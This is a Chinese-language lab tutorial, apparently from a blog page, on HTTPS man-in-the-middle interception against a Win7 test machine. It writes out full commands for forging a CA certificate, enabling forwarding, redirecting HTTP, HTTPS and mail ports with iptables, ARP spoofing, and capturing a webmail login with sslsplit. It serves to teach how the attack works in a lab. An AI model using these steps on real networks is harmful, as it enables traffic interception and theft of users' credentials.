HTTPS攻击(SSL/TLS中间人攻击)

一、场景环境

攻击机: kali
目标机: Win7

二、原理

攻击前提:

  1. 客户端已经信任伪造证书颁发机构;
  2. 攻击者控制了核发证书颁发机构;
  3. 客户端程序禁止了显示证书错误告警信息;
  4. 攻击者已经控制客户端,并强制其信任伪造证书。

角色: 客户端、客户路由器、真实服务器、攻击者代理服务器
(攻击者代理服务器)攻击者 通过ARP欺骗客户端通过攻击者做网关,数据包通过攻击者发出。此时,攻击者就可以分析HTTPS网络传输中的数据,并且由于攻击者伪造了CA证书,则自己可以解密出传输中的数据。

实操

伪造CA证书

1、利用openssl生成证书私钥
openssl genrsa -out ca.key 2048 (4096也行)
2、利用私钥签名生成证书
openssl req -new -x509 -days 1096 -key ca.key -out ca.crt
-days 证书有效期
-key 用哪个私钥生成证书
3、

HTTPS攻击(SSL/TLS中间人攻击)_第1张图片
HTTPS攻击(SSL/TLS中间人攻击)_第2张图片
crt 只是根证书,不是CA证书。CA的伪造依赖 crt 这个证书。

开启kali操作系统的路由功能

1、改文件(/proc/sys/net/ipv4/ip_forward)参数:
sysctl -w net.ipv4.ip_forward=1

2、iptables端口转发规则
iptables -t nat -L 查看规则
iptables -t nat -F 清空规则
配置规则
iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8080  #HTTP
iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 8443 #HTTPS
实验中只需以上两条。
iptables -t nat -A PREROUTING -p tcp --dport 587 -j REDIRECT --to-ports 8443 #MSA
iptables -t nat -A PREROUTING -p tcp --dport 465 -j REDIRECT --to-ports 8443 #SMTPS
iptables -t nat -A PREROUTING -p tcp --dport 993 -j REDIRECT --to-ports 8443 #IMAPS
iptables -t nat -A PREROUTING -p tcp --dport 995 -j REDIRECT --to-ports 8443 #POP3S

注:检查是否有程序占用80、433端口

HTTPS攻击(SSL/TLS中间人攻击)_第3张图片

ARP欺骗

arpspoof -i eth0 -t 1.1.1.2 -r 1.1.1.1
-t win7 目标主机
-r win7网关

命令运下前Win7的网关
HTTPS攻击(SSL/TLS中间人攻击)_第4张图片
HTTPS攻击(SSL/TLS中间人攻击)_第5张图片
执行命令后:
HTTPS攻击(SSL/TLS中间人攻击)_第6张图片
此时Win7的mac地址为:(变成了kali的mac)
HTTPS攻击(SSL/TLS中间人攻击)_第7张图片

启动sslsplit

mkdir -p test/logdir  //数据内容放在logdir目录下
sslsplit -D -l connect.log -j /root/test -S /root/test/logdir/ -k ca.key -c ca.crt ssl 0.0.0.0 8443 tcp 0.0.0.0 8080
Win7 访问网页 mail.163.com

HTTPS攻击(SSL/TLS中间人攻击)_第8张图片
在网易邮箱登入输入账户和密码:
HTTPS攻击(SSL/TLS中间人攻击)_第9张图片
test/logdir 目录下可看到传输的数据
HTTPS攻击(SSL/TLS中间人攻击)_第10张图片
HTTPS攻击(SSL/TLS中间人攻击)_第11张图片
HTTPS攻击(SSL/TLS中间人攻击)_第12张图片
发现密码没有被私钥解密!
原因:

  1. 私钥解密的是在数据传输过程解密;
  2. 企业方,在登入口加载了加密控件,密码先被加密,再被传输。
    注: 突然发现证书居然不是自己伪造的证书?(浏览器的问题吗?)
    HTTPS攻击(SSL/TLS中间人攻击)_第13张图片

你可能感兴趣的:(HTTPS攻击(SSL/TLS中间人攻击))